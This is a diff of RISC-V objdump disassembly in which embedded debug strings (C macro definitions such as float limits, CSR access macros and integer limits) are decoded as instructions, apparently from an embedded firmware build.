+    9882:	5f5f 6f63 736e      	0x736e6f635f5f
+    9888:	2074                	fld	fa3,192(s0)
+    988a:	736e6f63          	bltu	t3,s6,9fc8 <__stack_size+0x97c8>
+    988e:	0074                	addi	a3,sp,12
+    9890:	465f 5845 4f4c      	0x4f4c5845465f
+    9896:	30204b43          	fmadd.s	fs6,ft0,ft2,ft6,rmm
+    989a:	3078                	fld	fa4,224(s0)
+    989c:	3031                	jal	90a8 <__stack_size+0x88a8>
+    989e:	0030                	addi	a2,sp,8
+    98a0:	535f 5f43 5f32      	0x5f325f43535f
+    98a6:	4250                	lw	a2,4(a2)
+    98a8:	31312053          	0x31312053
+    98ac:	505f0033          	0x505f0033
+    98b0:	414e5f43          	fmadd.s	ft10,ft8,fs4,fs0,unknown
+    98b4:	454d                	li	a0,19
+    98b6:	4d5f 5841 3320      	0x332058414d5f
+    98bc:	4d00                	lw	s0,24(a0)
+    98be:	4f5a                	lw	t5,148(sp)
+    98c0:	454e                	lw	a0,208(sp)
+    98c2:	525f 5444 4d49      	0x4d495444525f
+    98c8:	4345                	li	t1,17
+    98ca:	504d                	c.li	zero,-13
+    98cc:	2928                	fld	fa0,80(a0)
+    98ce:	2820                	fld	fs0,80(s0)
+    98d0:	6572207b          	0x6572207b
+    98d4:	74736967          	0x74736967
+    98d8:	7265                	lui	tp,0xffff9
+    98da:	7520                	flw	fs0,104(a0)
+    98dc:	6e69                	lui	t3,0x1a
+    98de:	3374                	fld	fa3,224(a4)
+    98e0:	5f32                	lw	t5,44(sp)
+    98e2:	2074                	fld	fa3,192(s0)
+    98e4:	3061                	jal	916c <__stack_size+0x896c>
+    98e6:	6120                	flw	fs0,64(a0)
+    98e8:	28206d73          	csrrsi	s10,0x282,0
+    98ec:	6122                	flw	ft2,8(sp)
+    98ee:	2230                	fld	fa2,64(a2)
+    98f0:	2c29                	jal	9b0a <__stack_size+0x930a>
+    98f2:	6120                	flw	fs0,64(a0)
+    98f4:	2031                	jal	9900 <__stack_size+0x9100>
+    98f6:	7361                	lui	t1,0xffff8
+    98f8:	206d                	jal	99a2 <__stack_size+0x91a2>
+    98fa:	2228                	fld	fa0,64(a2)
+    98fc:	3161                	jal	9584 <__stack_size+0x8d84>
+    98fe:	2922                	fld	fs2,8(sp)
+    9900:	7361203b          	0x7361203b
+    9904:	206d                	jal	99ae <__stack_size+0x91ae>
+    9906:	6f76                	flw	ft10,92(sp)
+    9908:	616c                	flw	fa1,68(a0)
+    990a:	6974                	flw	fa3,84(a0)
+    990c:	656c                	flw	fa1,76(a0)
+    990e:	2820                	fld	fs0,80(s0)
+    9910:	6c22                	flw	fs8,8(sp)
+    9912:	2069                	jal	999c <__stack_size+0x919c>
+    9914:	3061                	jal	919c <__stack_size+0x899c>
+    9916:	202c                	fld	fa1,64(s0)
+    9918:	3b35                	jal	9654 <__stack_size+0x8e54>
+    991a:	2022                	fld	ft0,8(sp)
+    991c:	7a6d                	lui	s4,0xffffb
+    991e:	20656e6f          	jal	t3,5fb24 <__stack_size+0x5f324>
+    9922:	203a                	fld	ft0,392(sp)
+    9924:	3d22                	fld	fs10,40(sp)
+    9926:	2272                	fld	ft4,280(sp)
+    9928:	6128                	flw	fa0,64(a0)
+    992a:	2930                	fld	fa2,80(a0)
+    992c:	202c                	fld	fa1,64(s0)
+    992e:	3d22                	fld	fs10,40(sp)
+    9930:	2272                	fld	ft4,280(sp)
+    9932:	6128                	flw	fa0,64(a0)
+    9934:	2931                	jal	9d50 <__stack_size+0x9550>
+    9936:	3b29                	jal	9650 <__stack_size+0x8e50>
+    9938:	2820                	fld	fs0,80(s0)
+    993a:	6975                	lui	s2,0x1d
+    993c:	746e                	flw	fs0,248(sp)
+    993e:	3436                	fld	fs0,360(sp)
+    9940:	745f 6129 3c31      	0x3c316129745f
+    9946:	333c                	fld	fa5,96(a4)
+    9948:	2032                	fld	ft0,264(sp)
+    994a:	207c                	fld	fa5,192(s0)
+    994c:	3061                	jal	91d4 <__stack_size+0x89d4>
+    994e:	297d203b          	0x297d203b
+    9952:	5f00                	lw	s0,56(a4)
+    9954:	465f 544c 3231      	0x3231544c465f
+    995a:	5f38                	lw	a4,120(a4)
+    995c:	4544                	lw	s1,12(a0)
+    995e:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
+    9962:	5f4c                	lw	a1,60(a4)
+    9964:	4944                	lw	s1,20(a0)
+    9966:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    996a:	5f003633          	0x5f003633
+    996e:	465f 544c 485f      	0x485f544c465f
+    9974:	5341                	li	t1,-16
+    9976:	445f 4e45 524f      	0x524f4e45445f
+    997c:	5f4d                	li	t5,-13
+    997e:	205f 0031 5f5f      	0x5f5f0031205f
+    9984:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
+    9988:	494c                	lw	a1,20(a0)
+    998a:	4d5f454b          	0x4d5f454b
+    998e:	5441                	li	s0,-16
+    9990:	5f48                	lw	a0,60(a4)
+    9992:	5542                	lw	a0,48(sp)
+    9994:	4c49                	li	s8,18
+    9996:	4954                	lw	a3,20(a0)
+    9998:	5f4e                	lw	t5,240(sp)
+    999a:	534e4f43          	fmadd.d	ft10,ft8,fs4,fa0,rmm
+    999e:	4154                	lw	a3,4(a0)
+    99a0:	544e                	lw	s0,240(sp)
+    99a2:	55002053          	0x55002053
+    99a6:	4e49                	li	t3,18
+    99a8:	5f54                	lw	a3,60(a4)
+    99aa:	454c                	lw	a1,12(a0)
+    99ac:	5341                	li	t1,-16
+    99ae:	3854                	fld	fa3,176(s0)
+    99b0:	4d5f 5841 5f00      	0x5f0058414d5f
+    99b6:	415f4353          	0x415f4353
+    99ba:	4752                	lw	a4,20(sp)
+    99bc:	4d5f 5841 3020      	0x302058414d5f
+    99c2:	4300                	lw	s0,0(a4)
+    99c4:	494c                	lw	a1,20(a0)
+    99c6:	544e                	lw	s0,240(sp)
+    99c8:	4d5f 4953 2050      	0x205049534d5f
+    99ce:	7830                	flw	fa2,112(s0)
+    99d0:	3030                	fld	fa2,96(s0)
+    99d2:	3030                	fld	fa2,96(s0)
+    99d4:	6300                	flw	fs0,0(a4)
+    99d6:	656c                	flw	fa1,76(a0)
+    99d8:	7261                	lui	tp,0xffff8
+    99da:	7265                	lui	tp,0xffff9
+    99dc:	2872                	fld	fa6,280(sp)
+    99de:	2970                	fld	fa2,208(a0)
+    99e0:	5f20                	lw	s0,120(a4)
+    99e2:	735f 6c63 6165      	0x61656c63735f
+    99e8:	6572                	flw	fa0,28(sp)
+    99ea:	7272                	flw	ft4,60(sp)
+    99ec:	7028                	flw	fa0,96(s0)
+    99ee:	0029                	c.nop	10
+    99f0:	5f5f 4244 5f4c      	0x5f4c42445f5f
+    99f6:	414d                	li	sp,19
+    99f8:	544e                	lw	s0,240(sp)
+    99fa:	445f 4749 5f5f      	0x5f5f4749445f
+    9a00:	3520                	fld	fs0,104(a0)
+    9a02:	475f0033          	0x475f0033
+    9a06:	4d5f4343          	0x4d5f4343
+    9a0a:	5841                	li	a6,-16
+    9a0c:	415f 494c 4e47      	0x4e47494c415f
+    9a12:	545f 0020 5f5f      	0x5f5f0020545f
+    9a18:	4c46                	lw	s8,80(sp)
+    9a1a:	3654                	fld	fa3,168(a2)
+    9a1c:	5f34                	lw	a3,120(a4)
+    9a1e:	4148                	lw	a0,4(a0)
+    9a20:	45445f53          	0x45445f53
+    9a24:	4f4e                	lw	t5,208(sp)
+    9a26:	4d52                	lw	s10,20(sp)
+    9a28:	5f5f 3120 4900      	0x490031205f5f
+    9a2e:	544e                	lw	s0,240(sp)
+    9a30:	465f 5341 3854      	0x38545341465f
+    9a36:	4d5f 4e49 2820      	0x28204e494d5f
+    9a3c:	492d                	li	s2,11
+    9a3e:	544e                	lw	s0,240(sp)
+    9a40:	465f 5341 3854      	0x38545341465f
+    9a46:	4d5f 5841 2d20      	0x2d2058414d5f
+    9a4c:	3120                	fld	fs0,96(a0)
+    9a4e:	0029                	c.nop	10
+    9a50:	4e49                	li	t3,18
+    9a52:	3854                	fld	fa3,176(s0)
+    9a54:	4d5f 4e49 5300      	0x53004e494d5f
+    9a5a:	495f 5246 4745      	0x47455246495f
+    9a60:	5f20                	lw	s0,120(a4)
+    9a62:	4649                	li	a2,18
+    9a64:	4552                	lw	a0,20(sp)
+    9a66:	535f0047          	fmsub.d	ft0,ft10,fs5,fa0,rne
+    9a6a:	5f325f43          	fmadd.q	ft10,ft4,fs3,fa1,unknown
+    9a6e:	4250                	lw	a2,4(a2)
+    9a70:	454d5f53          	0x454d5f53
+    9a74:	47415353          	0x47415353
+    9a78:	2045                	jal	9b18 <__stack_size+0x9318>
+    9a7a:	3131                	jal	9686 <__stack_size+0x8e86>
+    9a7c:	5f5f0037          	lui	zero,0x5f5f0
+    9a80:	455a4953          	0x455a4953
+    9a84:	465f464f          	fnmadd.q	fa2,ft10,ft5,fs0,rmm
+    9a88:	4f4c                	lw	a1,28(a4)
+    9a8a:	5441                	li	s0,-16
+    9a8c:	5f5f 3420 6d00      	0x6d0034205f5f
+    9a92:	6961                	lui	s2,0x18
+    9a94:	006e                	c.slli	zero,0x1b
+    9a96:	5f5f 4953 455a      	0x455a49535f5f
+    9a9c:	545f 5f5f 0020      	0x205f5f545f
+    9aa2:	5f5f 4953 455a      	0x455a49535f5f
+    9aa8:	545f 5059 5f45      	0x5f455059545f
+    9aae:	205f 6e75 6973      	0x69736e75205f
+    9ab4:	64656e67          	0x64656e67
+    9ab8:	6920                	flw	fs0,80(a0)
+    9aba:	746e                	flw	fs0,248(sp)
+    9abc:	5300                	lw	s0,32(a4)
+    9abe:	495f 5257 5449      	0x54495257495f
+    9ac4:	2045                	jal	9b64 <__stack_size+0x9364>
+    9ac6:	3030                	fld	fa2,96(s0)
     9ac8:	3030                	fld	fa2,96(s0)
-    9aca:	3030                	fld	fa2,96(s0)
-    9acc:	2930                	fld	fa2,80(a0)
-    9ace:	5f00                	lw	s0,56(a4)
-    9ad0:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    9ad6:	494d                	li	s2,19
-    9ad8:	5f4e                	lw	t5,240(sp)
-    9ada:	3031                	jal	92e6 <__stack_size+0x8ae6>
-    9adc:	455f 5058 5f5f      	0x5f5f5058455f
-    9ae2:	2820                	fld	fs0,80(s0)
-    9ae4:	342d                	jal	950e <__stack_size+0x8d0e>
-    9ae6:	3339                	jal	97f4 <__stack_size+0x8ff4>
-    9ae8:	2931                	jal	9f04 <__stack_size+0x9704>
-    9aea:	5f00                	lw	s0,56(a4)
-    9aec:	755f 726e 6165      	0x6165726e755f
-    9af2:	62616863          	bltu	sp,t1,a122 <__stack_size+0x9922>
-    9af6:	656c                	flw	fa1,76(a0)
-    9af8:	2928                	fld	fa0,80(a0)
-    9afa:	5f20                	lw	s0,120(a4)
-    9afc:	625f 6975 746c      	0x746c6975625f
-    9b02:	6e69                	lui	t3,0x1a
-    9b04:	755f 726e 6165      	0x6165726e755f
-    9b0a:	62616863          	bltu	sp,t1,a13a <__stack_size+0x993a>
-    9b0e:	656c                	flw	fa1,76(a0)
-    9b10:	2928                	fld	fa0,80(a0)
-    9b12:	4f00                	lw	s0,24(a4)
-    9b14:	415f 5050 4e45      	0x4e455050415f
-    9b1a:	2044                	fld	fs1,128(s0)
-    9b1c:	465f 5041 4550      	0x45505041465f
-    9b22:	444e                	lw	s0,208(sp)
-    9b24:	5500                	lw	s0,40(a0)
-    9b26:	4e49                	li	t3,18
-    9b28:	3154                	fld	fa3,160(a0)
-    9b2a:	5f36                	lw	t5,108(sp)
-    9b2c:	5f5f0043          	fmadd.q	ft0,ft10,fs5,fa1,rne
-    9b30:	49525453          	0x49525453
-    9b34:	474e                	lw	a4,208(sp)
-    9b36:	7828                	flw	fa0,112(s0)
-    9b38:	2029                	jal	9b42 <__stack_size+0x9342>
-    9b3a:	43007823          	0x43007823
-    9b3e:	4d5f5253          	0x4d5f5253
-    9b42:	5349                	li	t1,-14
-    9b44:	2041                	jal	9bc4 <__stack_size+0x93c4>
-    9b46:	0038                	addi	a4,sp,8
-    9b48:	495f 544e 3436      	0x3436544e495f
-    9b4e:	545f 445f 4345      	0x4345445f545f
-    9b54:	414c                	lw	a1,4(a0)
-    9b56:	4552                	lw	a0,20(sp)
-    9b58:	2044                	fld	fs1,128(s0)
-    9b5a:	4e00                	lw	s0,24(a2)
-    9b5c:	554f5247          	0x554f5247
-    9b60:	5350                	lw	a2,36(a4)
-    9b62:	4d5f 5841 3120      	0x312058414d5f
-    9b68:	0036                	c.slli	zero,0xd
-    9b6a:	5f5f 4843 5241      	0x524148435f5f
-    9b70:	3631                	jal	967c <__stack_size+0x8e7c>
-    9b72:	545f 5059 5f45      	0x5f455059545f
-    9b78:	205f 6873 726f      	0x726f6873205f
-    9b7e:	2074                	fld	fa3,192(s0)
-    9b80:	6e75                	lui	t3,0x1d
-    9b82:	6e676973          	csrrsi	s2,0x6e6,14
-    9b86:	6465                	lui	s0,0x19
-    9b88:	6920                	flw	fs0,80(a0)
-    9b8a:	746e                	flw	fs0,248(sp)
-    9b8c:	4900                	lw	s0,16(a0)
-    9b8e:	544e                	lw	s0,240(sp)
-    9b90:	3631                	jal	969c <__stack_size+0x8e9c>
-    9b92:	4d5f 4e49 2820      	0x28204e494d5f
-    9b98:	492d                	li	s2,11
-    9b9a:	544e                	lw	s0,240(sp)
-    9b9c:	3631                	jal	96a8 <__stack_size+0x8ea8>
-    9b9e:	4d5f 5841 2d20      	0x2d2058414d5f
-    9ba4:	3120                	fld	fs0,96(a0)
-    9ba6:	0029                	c.nop	10
-    9ba8:	525f 4545 544e      	0x544e4545525f
-    9bae:	4d5f 5442 574f      	0x574f54424d5f
-    9bb4:	54535f43          	0x54535f43
-    9bb8:	5441                	li	s0,-16
-    9bba:	2845                	jal	9c6a <__stack_size+0x946a>
-    9bbc:	7470                	flw	fa2,108(s0)
-    9bbe:	2972                	fld	fs2,280(sp)
-    9bc0:	2820                	fld	fs0,80(s0)
-    9bc2:	7028                	flw	fa0,96(s0)
-    9bc4:	7274                	flw	fa3,100(a2)
-    9bc6:	2d29                	jal	a1e0 <__stack_size+0x99e0>
-    9bc8:	5f3e                	lw	t5,236(sp)
-    9bca:	656e                	flw	fa0,216(sp)
-    9bcc:	725f2e77          	0x725f2e77
-    9bd0:	6565                	lui	a0,0x19
-    9bd2:	746e                	flw	fs0,248(sp)
-    9bd4:	5f2e                	lw	t5,232(sp)
-    9bd6:	626d                	lui	tp,0x1b
-    9bd8:	6f74                	flw	fa3,92(a4)
-    9bda:	735f6377          	0x735f6377
-    9bde:	6174                	flw	fa3,68(a0)
-    9be0:	6574                	flw	fa3,76(a0)
-    9be2:	0029                	c.nop	10
-    9be4:	535f 5f43 4f43      	0x4f435f43535f
-    9bea:	4c4c                	lw	a1,28(s0)
-    9bec:	575f 4945 4847      	0x48474945575f
-    9bf2:	5354                	lw	a3,36(a4)
-    9bf4:	4d5f 5841 3620      	0x362058414d5f
-    9bfa:	0032                	c.slli	zero,0xc
-    9bfc:	5750                	lw	a2,44(a4)
-    9bfe:	5f4d                	li	t5,-13
-    9c00:	20474643          	fmadd.s	fa2,fa4,ft4,ft4,rmm
-    9c04:	7830                	flw	fa2,112(s0)
-    9c06:	3030                	fld	fa2,96(s0)
-    9c08:	4300                	lw	s0,0(a4)
-    9c0a:	28575253          	0x28575253
-    9c0e:	2c727363          	bgeu	tp,t2,9ed4 <__stack_size+0x96d4>
-    9c12:	7372                	flw	ft6,60(sp)
-    9c14:	2029                	jal	9c1e <__stack_size+0x941e>
-    9c16:	7b28                	flw	fa0,112(a4)
-    9c18:	6920                	flw	fs0,80(a0)
-    9c1a:	2066                	fld	ft0,88(sp)
-    9c1c:	5f28                	lw	a0,120(a4)
-    9c1e:	625f 6975 746c      	0x746c6975625f
-    9c24:	6e69                	lui	t3,0x1a
-    9c26:	635f 6e6f 7473      	0x74736e6f635f
-    9c2c:	6e61                	lui	t3,0x18
-    9c2e:	5f74                	lw	a3,124(a4)
-    9c30:	2870                	fld	fa2,208(s0)
-    9c32:	7372                	flw	ft6,60(sp)
-    9c34:	2029                	jal	9c3e <__stack_size+0x943e>
-    9c36:	2626                	fld	fa2,72(sp)
-    9c38:	2820                	fld	fs0,80(s0)
-    9c3a:	6e75                	lui	t3,0x1d
-    9c3c:	6e676973          	csrrsi	s2,0x6e6,14
-    9c40:	6465                	lui	s0,0x19
-    9c42:	6c20                	flw	fs0,88(s0)
-    9c44:	29676e6f          	jal	t3,7feda <__stack_size+0x7f6da>
-    9c48:	7228                	flw	fa0,96(a2)
-    9c4a:	3c202973          	csrr	s2,0x3c2
-    9c4e:	3320                	fld	fs0,96(a4)
-    9c50:	2932                	fld	fs2,264(sp)
-    9c52:	6120                	flw	fs0,64(a0)
-    9c54:	76206d73          	csrrsi	s10,0x762,0
-    9c58:	74616c6f          	jal	s8,2039e <__stack_size+0x1fb9e>
-    9c5c:	6c69                	lui	s8,0x1a
-    9c5e:	2065                	jal	9d06 <__stack_size+0x9506>
-    9c60:	2228                	fld	fa0,64(a2)
-    9c62:	77727363          	bgeu	tp,s7,a3c8 <__stack_size+0x9bc8>
-    9c66:	2220                	fld	fs0,64(a2)
-    9c68:	2320                	fld	fs0,64(a4)
-    9c6a:	20727363          	bgeu	tp,t2,9e70 <__stack_size+0x9670>
-    9c6e:	2c22                	fld	fs8,8(sp)
-    9c70:	2520                	fld	fs0,72(a0)
-    9c72:	2230                	fld	fa2,64(a2)
-    9c74:	3a20                	fld	fs0,112(a2)
-    9c76:	203a                	fld	ft0,392(sp)
-    9c78:	4b22                	lw	s6,8(sp)
-    9c7a:	2822                	fld	fa6,8(sp)
-    9c7c:	7372                	flw	ft6,60(sp)
-    9c7e:	2929                	jal	a098 <__stack_size+0x9898>
-    9c80:	6c65203b          	0x6c65203b
-    9c84:	61206573          	csrrsi	a0,0x612,0
-    9c88:	76206d73          	csrrsi	s10,0x762,0
-    9c8c:	74616c6f          	jal	s8,203d2 <__stack_size+0x1fbd2>
-    9c90:	6c69                	lui	s8,0x1a
-    9c92:	2065                	jal	9d3a <__stack_size+0x953a>
-    9c94:	2228                	fld	fa0,64(a2)
-    9c96:	77727363          	bgeu	tp,s7,a3fc <__stack_size+0x9bfc>
-    9c9a:	2220                	fld	fs0,64(a2)
-    9c9c:	2320                	fld	fs0,64(a4)
-    9c9e:	20727363          	bgeu	tp,t2,9ea4 <__stack_size+0x96a4>
-    9ca2:	2c22                	fld	fs8,8(sp)
-    9ca4:	2520                	fld	fs0,72(a0)
-    9ca6:	2230                	fld	fa2,64(a2)
-    9ca8:	3a20                	fld	fs0,112(a2)
-    9caa:	203a                	fld	ft0,392(sp)
-    9cac:	7222                	flw	ft4,40(sp)
-    9cae:	2822                	fld	fa6,8(sp)
-    9cb0:	7372                	flw	ft6,60(sp)
-    9cb2:	2929                	jal	a0cc <__stack_size+0x98cc>
-    9cb4:	297d203b          	0x297d203b
-    9cb8:	5f00                	lw	s0,56(a4)
-    9cba:	485f4353          	0x485f4353
-    9cbe:	5f54534f          	fnmadd.q	ft6,fs0,fs5,fa1,unknown
-    9cc2:	414e                	lw	sp,208(sp)
-    9cc4:	454d                	li	a0,19
-    9cc6:	4d5f 5841 3620      	0x362058414d5f
-    9ccc:	0035                	c.nop	13
-    9cce:	4946                	lw	s2,80(sp)
-    9cd0:	454c                	lw	a1,12(a0)
-    9cd2:	414e                	lw	sp,208(sp)
-    9cd4:	454d                	li	a0,19
-    9cd6:	4d5f 5841 3120      	0x312058414d5f
-    9cdc:	3230                	fld	fa2,96(a2)
-    9cde:	0034                	addi	a3,sp,8
-    9ce0:	5f5f 5253 2057      	0x205752535f5f
-    9ce6:	7830                	flw	fa2,112(s0)
-    9ce8:	3030                	fld	fa2,96(s0)
-    9cea:	3031                	jal	94f6 <__stack_size+0x8cf6>
-    9cec:	5f00                	lw	s0,56(a4)
-    9cee:	555f 4e49 5054      	0x50544e49555f
-    9cf4:	5254                	lw	a3,36(a2)
-    9cf6:	545f 5059 5f45      	0x5f455059545f
-    9cfc:	205f 6e75 6973      	0x69736e75205f
-    9d02:	64656e67          	0x64656e67
-    9d06:	6920                	flw	fs0,80(a0)
-    9d08:	746e                	flw	fs0,248(sp)
-    9d0a:	5f00                	lw	s0,56(a4)
-    9d0c:	545f 5248 574f      	0x574f5248545f
-    9d12:	0020                	addi	s0,sp,8
-    9d14:	5f5f 6f6e 6e6e      	0x6e6e6f6e5f5f
-    9d1a:	6c75                	lui	s8,0x1d
-    9d1c:	286c                	fld	fa1,208(s0)
-    9d1e:	2978                	fld	fa4,208(a0)
-    9d20:	5f20                	lw	s0,120(a4)
-    9d22:	615f 7474 6972      	0x69727474615f
-    9d28:	7562                	flw	fa0,56(sp)
-    9d2a:	6574                	flw	fa3,76(a0)
-    9d2c:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    9d32:	6f6e                	flw	ft10,216(sp)
-    9d34:	6e6e                	flw	ft8,216(sp)
-    9d36:	6c75                	lui	s8,0x1d
-    9d38:	5f6c                	lw	a1,124(a4)
-    9d3a:	205f 2978 0029      	0x292978205f
-    9d40:	5355                	li	t1,-11
-    9d42:	5248                	lw	a0,36(a2)
-    9d44:	5f54                	lw	a3,60(a4)
-    9d46:	414d                	li	sp,19
-    9d48:	2058                	fld	fa4,128(s0)
-    9d4a:	5328                	lw	a0,96(a4)
-    9d4c:	5248                	lw	a0,36(a2)
-    9d4e:	5f54                	lw	a3,60(a4)
-    9d50:	414d                	li	sp,19
-    9d52:	2058                	fld	fa4,128(s0)
-    9d54:	202a                	fld	ft0,136(sp)
-    9d56:	2032                	fld	ft0,264(sp)
-    9d58:	2931202b          	0x2931202b
-    9d5c:	4e00                	lw	s0,24(a2)
-    9d5e:	3441                	jal	97de <__stack_size+0x8fde>
-    9d60:	3020                	fld	fs0,96(s0)
-    9d62:	3062                	fld	ft0,56(sp)
-    9d64:	3030                	fld	fa2,96(s0)
-    9d66:	3031                	jal	9572 <__stack_size+0x8d72>
-    9d68:	3030                	fld	fa2,96(s0)
-    9d6a:	0030                	addi	a2,sp,8
-    9d6c:	63727473          	csrrci	s0,0x637,4
-    9d70:	706d                	c.lui	zero,0xffffb
-    9d72:	4900                	lw	s0,16(a0)
-    9d74:	544e                	lw	s0,240(sp)
-    9d76:	465f 5341 3154      	0x31545341465f
-    9d7c:	5f36                	lw	t5,108(sp)
-    9d7e:	414d                	li	sp,19
-    9d80:	2058                	fld	fa4,128(s0)
-    9d82:	5f5f 4e49 5f54      	0x5f544e495f5f
-    9d88:	4146                	lw	sp,80(sp)
-    9d8a:	36315453          	0x36315453
-    9d8e:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    9d94:	5f00                	lw	s0,56(a4)
-    9d96:	465f 544c 4d5f      	0x4d5f544c465f
-    9d9c:	4e49                	li	t3,18
-    9d9e:	5f5f 3120 312e      	0x312e31205f5f
-    9da4:	39343537          	lui	a0,0x39343
-    9da8:	3334                	fld	fa3,96(a4)
-    9daa:	3035                	jal	95d6 <__stack_size+0x8dd6>
-    9dac:	3238                	fld	fa4,96(a2)
-    9dae:	3232                	fld	ft4,296(sp)
-    9db0:	3738                	fld	fa4,104(a4)
-    9db2:	3035                	jal	95de <__stack_size+0x8dde>
-    9db4:	38363937          	lui	s2,0x38363
-    9db8:	35363337          	lui	t1,0x35363
-    9dbc:	32323733          	0x32323733
-    9dc0:	3232                	fld	ft4,296(sp)
-    9dc2:	3534                	fld	fa3,104(a0)
-    9dc4:	3836                	fld	fa6,360(sp)
-    9dc6:	2d65                	jal	a47e <__stack_size+0x9c7e>
-    9dc8:	00463833          	sltu	a6,a2,tp
-    9dcc:	535f 5f43 454c      	0x454c5f43535f
-    9dd2:	4556                	lw	a0,84(sp)
-    9dd4:	314c                	fld	fa1,160(a0)
-    9dd6:	495f 4143 4843      	0x48434143495f
-    9ddc:	5f45                	li	t5,-15
+    9aca:	3032                	fld	ft0,296(sp)
+    9acc:	0030                	addi	a2,sp,8
+    9ace:	5f5f 666f 7366      	0x7366666f5f5f
+    9ad4:	7465                	lui	s0,0xffff9
+    9ad6:	7428666f          	jal	a2,90218 <__stack_size+0x8fa18>
+    9ada:	7079                	c.lui	zero,0xffffe
+    9adc:	2c65                	jal	9d94 <__stack_size+0x9594>
+    9ade:	6966                	flw	fs2,88(sp)
+    9ae0:	6c65                	lui	s8,0x19
+    9ae2:	2964                	fld	fs1,208(a0)
+    9ae4:	6f20                	flw	fs0,88(a4)
+    9ae6:	6666                	flw	fa2,88(sp)
+    9ae8:	6f746573          	csrrsi	a0,0x6f7,8
+    9aec:	2866                	fld	fa6,88(sp)
+    9aee:	7974                	flw	fa3,116(a0)
+    9af0:	6570                	flw	fa2,76(a0)
+    9af2:	202c                	fld	fa1,64(s0)
+    9af4:	6966                	flw	fs2,88(sp)
+    9af6:	6c65                	lui	s8,0x19
+    9af8:	2964                	fld	fs1,208(a0)
+    9afa:	5f00                	lw	s0,56(a4)
+    9afc:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    9b02:	414d                	li	sp,19
+    9b04:	544e                	lw	s0,240(sp)
+    9b06:	445f 4749 5f5f      	0x5f5f4749445f
+    9b0c:	3120                	fld	fs0,96(a0)
+    9b0e:	3331                	jal	981a <__stack_size+0x901a>
+    9b10:	5f00                	lw	s0,56(a4)
+    9b12:	555f 4e49 5f54      	0x5f544e49555f
+    9b18:	454c                	lw	a1,12(a0)
+    9b1a:	5341                	li	t1,-16
+    9b1c:	3854                	fld	fa3,176(s0)
+    9b1e:	545f 5059 5f45      	0x5f455059545f
+    9b24:	205f 6e75 6973      	0x69736e75205f
+    9b2a:	64656e67          	0x64656e67
+    9b2e:	6320                	flw	fs0,64(a4)
+    9b30:	6168                	flw	fa0,68(a0)
+    9b32:	0072                	c.slli	zero,0x1c
+    9b34:	525f 4e41 3444      	0x34444e41525f
+    9b3a:	5f38                	lw	a4,120(a4)
+    9b3c:	44454553          	0x44454553
+    9b40:	315f 2820 7830      	0x78302820315f
+    9b46:	6261                	lui	tp,0x18
+    9b48:	00296463          	bltu	s2,sp,9b50 <__stack_size+0x9350>
+    9b4c:	5f5f 444c 4c42      	0x4c42444c5f5f
+    9b52:	4d5f 4e49 315f      	0x315f4e494d5f
+    9b58:	5f30                	lw	a2,120(a4)
+    9b5a:	5845                	li	a6,-15
+    9b5c:	5f50                	lw	a2,60(a4)
+    9b5e:	205f 2d28 3934      	0x39342d28205f
+    9b64:	00293133          	sltu	sp,s2,sp
+    9b68:	5f5f 6e75 6572      	0x65726e755f5f
+    9b6e:	6361                	lui	t1,0x18
+    9b70:	6168                	flw	fa0,68(a0)
+    9b72:	6c62                	flw	fs8,24(sp)
+    9b74:	2865                	jal	9c2c <__stack_size+0x942c>
+    9b76:	2029                	jal	9b80 <__stack_size+0x9380>
+    9b78:	5f5f 7562 6c69      	0x6c6975625f5f
+    9b7e:	6974                	flw	fa3,84(a0)
+    9b80:	5f6e                	lw	t5,248(sp)
+    9b82:	6e75                	lui	t3,0x1d
+    9b84:	6572                	flw	fa0,28(sp)
+    9b86:	6361                	lui	t1,0x18
+    9b88:	6168                	flw	fa0,68(a0)
+    9b8a:	6c62                	flw	fs8,24(sp)
+    9b8c:	2865                	jal	9c44 <__stack_size+0x9444>
+    9b8e:	0029                	c.nop	10
+    9b90:	50415f4f          	fnmadd.s	ft10,ft2,ft4,fa0,unknown
+    9b94:	4550                	lw	a2,12(a0)
+    9b96:	444e                	lw	s0,208(sp)
+    9b98:	5f20                	lw	s0,120(a4)
+    9b9a:	4146                	lw	sp,80(sp)
+    9b9c:	5050                	lw	a2,36(s0)
+    9b9e:	4e45                	li	t3,17
+    9ba0:	0044                	addi	s1,sp,4
+    9ba2:	4955                	li	s2,21
+    9ba4:	544e                	lw	s0,240(sp)
+    9ba6:	3631                	jal	96b2 <__stack_size+0x8eb2>
+    9ba8:	435f 5f00 535f      	0x535f5f00435f
+    9bae:	5254                	lw	a3,36(a2)
+    9bb0:	4e49                	li	t3,18
+    9bb2:	29782847          	fmsub.s	fa6,fa6,fs7,ft5,rdn
+    9bb6:	2320                	fld	fs0,64(a4)
+    9bb8:	0078                	addi	a4,sp,12
+    9bba:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    9bbe:	494d                	li	s2,19
+    9bc0:	38204153          	0x38204153
+    9bc4:	5f00                	lw	s0,56(a4)
+    9bc6:	4e49                	li	t3,18
+    9bc8:	3654                	fld	fa3,168(a2)
+    9bca:	5f34                	lw	a3,120(a4)
+    9bcc:	5f54                	lw	a3,60(a4)
+    9bce:	4544                	lw	s1,12(a0)
+    9bd0:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    9bd4:	4445                	li	s0,17
+    9bd6:	0020                	addi	s0,sp,8
+    9bd8:	474e                	lw	a4,208(sp)
+    9bda:	4f52                	lw	t5,20(sp)
+    9bdc:	5055                	c.li	zero,-11
+    9bde:	414d5f53          	0x414d5f53
+    9be2:	2058                	fld	fa4,128(s0)
+    9be4:	3631                	jal	96f0 <__stack_size+0x8ef0>
+    9be6:	5f00                	lw	s0,56(a4)
+    9be8:	435f 4148 3152      	0x31524148435f
+    9bee:	5f36                	lw	t5,108(sp)
+    9bf0:	5954                	lw	a3,52(a0)
+    9bf2:	4550                	lw	a2,12(a0)
+    9bf4:	5f5f 7320 6f68      	0x6f6873205f5f
+    9bfa:	7472                	flw	fs0,60(sp)
+    9bfc:	7520                	flw	fs0,104(a0)
+    9bfe:	736e                	flw	ft6,248(sp)
+    9c00:	6769                	lui	a4,0x1a
+    9c02:	656e                	flw	fa0,216(sp)
+    9c04:	2064                	fld	fs1,192(s0)
